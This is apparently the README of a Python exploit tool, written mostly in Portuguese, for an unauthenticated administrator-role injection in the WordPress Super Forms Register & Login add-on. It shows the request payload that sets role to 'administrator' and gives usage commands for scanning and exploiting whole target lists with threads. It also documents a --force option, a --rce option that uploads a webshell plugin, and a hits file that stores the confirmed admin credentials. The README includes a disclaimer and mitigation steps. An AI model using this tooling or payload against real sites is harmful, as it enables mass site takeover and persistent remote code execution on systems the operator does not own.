CVE-2026-15989 — Super Forms ≤ 6.3.316 — PoC de Escalação de Privilégios Não Autenticada

Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — escalação de privilégios não autenticada através do parâmetro role do add-on premium Register & Login.

📋 Visão Geral da Vulnerabilidade

Atributo	Detalhes
CVE ID	CVE-2026-15989
Cadeia	formulário de registro → `'role'` em `$other_userdata` → `wp_insert_user(role=administrator)` → ADMIN
Severidade	🔴 CRÍTICA (CVSS 9.8)
Alvo	Super Forms – Drag & Drop Form Builder + add-on premium Register & Login
Afetado	≤ 6.3.316 (core) — builds vulneráveis do add-on (v1.x)
Corrigido	6.3.317
Autenticação Necessária	Nenhuma

🔍 Descrição Técnica

O add-on define o papel do novo usuário a partir das configurações do formulário ($userdata['role'] = $settings['register_user_role']), depois percorre $other_userdata — que contém 'role' — e sobrescreve qualquer chave com o valor fornecido pelo cliente ($data['role']['value']) antes de chamar wp_insert_user().

POST /wp-admin/admin-ajax.php  (unauthenticated)
        │
        ▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
        │
        ▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
        │
        ▼
wp_insert_user() ─► administrator account created
        │
        ▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session

Correção (6.3.317): 'role' removido da whitelist + get_safe_public_registration_role() (fail-closed).

Pesquisa original — protocolo de envio duplo: o core mudou de protocolo na v5.0.0.

Core	Ação	Formato dos dados	Nonce
4.x	`super_send_email`	campos aninhados (`data[role][value]=...`)	nenhum (verificações comentadas)
5.x/6.x	`super_submit_form`	string JSON	`sf_nonce` via `super_create_nonce`

A ferramenta escolhe o protocolo automaticamente a partir da versão detectada.

🚀 Uso

# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup

# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure

# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure

Opção	Descrição
`--list FILE`	Um alvo por linha; `URL\|form_id` ou `URL\|form_id=ID,email=X` por linha
`-u/--target`, `--port`	Alvo único
`--threads`, `--timeout`, `--no-dedup`	Ajuste do modo massivo
`--force`	Dispara o payload mesmo sem um formulário de registro detectado
`--only-hits` / `--quiet`	Árvores apenas para hits confirmados / saída mínima
`--reset`	conclusão do modo verify via lost-password (o operador cola o link de reset)
`--only-login`	Pula o registro; faz login e verifica o papel via `users/me`
`--login` / `--rce`	Pós-exploração em alvo real: prova de login / upload de plugin webshell
`-k/--insecure`	Ignora TLS

📊 Saída

│  ├─ plugin   : 6.3.316 — VULNERABLE <= 6.3.316
│  ├─ addon    : v1.8.7
│  ├─ form     : 4169 (/register/)
│  ├─ proto    : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│  ├─ payload  : HTTP 200 ✓ processed
│  └─ session  : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED

hits.txt — apenas alvos confirmados (ts|url|status|detail, com usuário/senha)
barra com ETA + contadores por status; cada fase imprime o motivo real em caso de falha (WAF, crash, formulário apenas de login, protocolo errado...)

⚙️ Funcionalidades

Protocolo duplo (4.x dados aninhados / 5+ JSON+nonce) — selecionado automaticamente pela versão
Detecção de versão: tag Stable do readme.txt + common.js?ver=; sondagem do add-on + sua própria versão
Descoberta de formulário de registro: caminhos comuns + sitemap.xml/wp-sitemap.xml/sitemap_index + links da home
Preenchimento automático de campos obrigatórios (incluindo hidden/condicionais)
"já existe" → prova de login direta da conta existente
Controle de crash: reenvia o formulário sem o papel injetado para distinguir problemas do lado do servidor de crashes disparados pela injeção
Prova autoritativa de admin via /wp-json/wp/v2/users/me?context=edit (fallback: users.php / dashboard)

📁 Estrutura de Arquivos

├── CVE-2026-15989.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Aviso Legal

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Mitigação

Atualize o Super Forms para 6.3.317 (ou posterior) e rotacione quaisquer credenciais vazadas
Mantenha o add-on Register & Login atualizado (ele tem seu próprio ciclo de versão)
Remova/desative formulários de registro publicados quando não forem necessários
Audite os usuários em wp-admin/ em busca de contas de administrador inesperadas

👤 Autor

fl0ydsec (Floydroot)

_{Security Research}

CVE-2026-15989

Mais Populares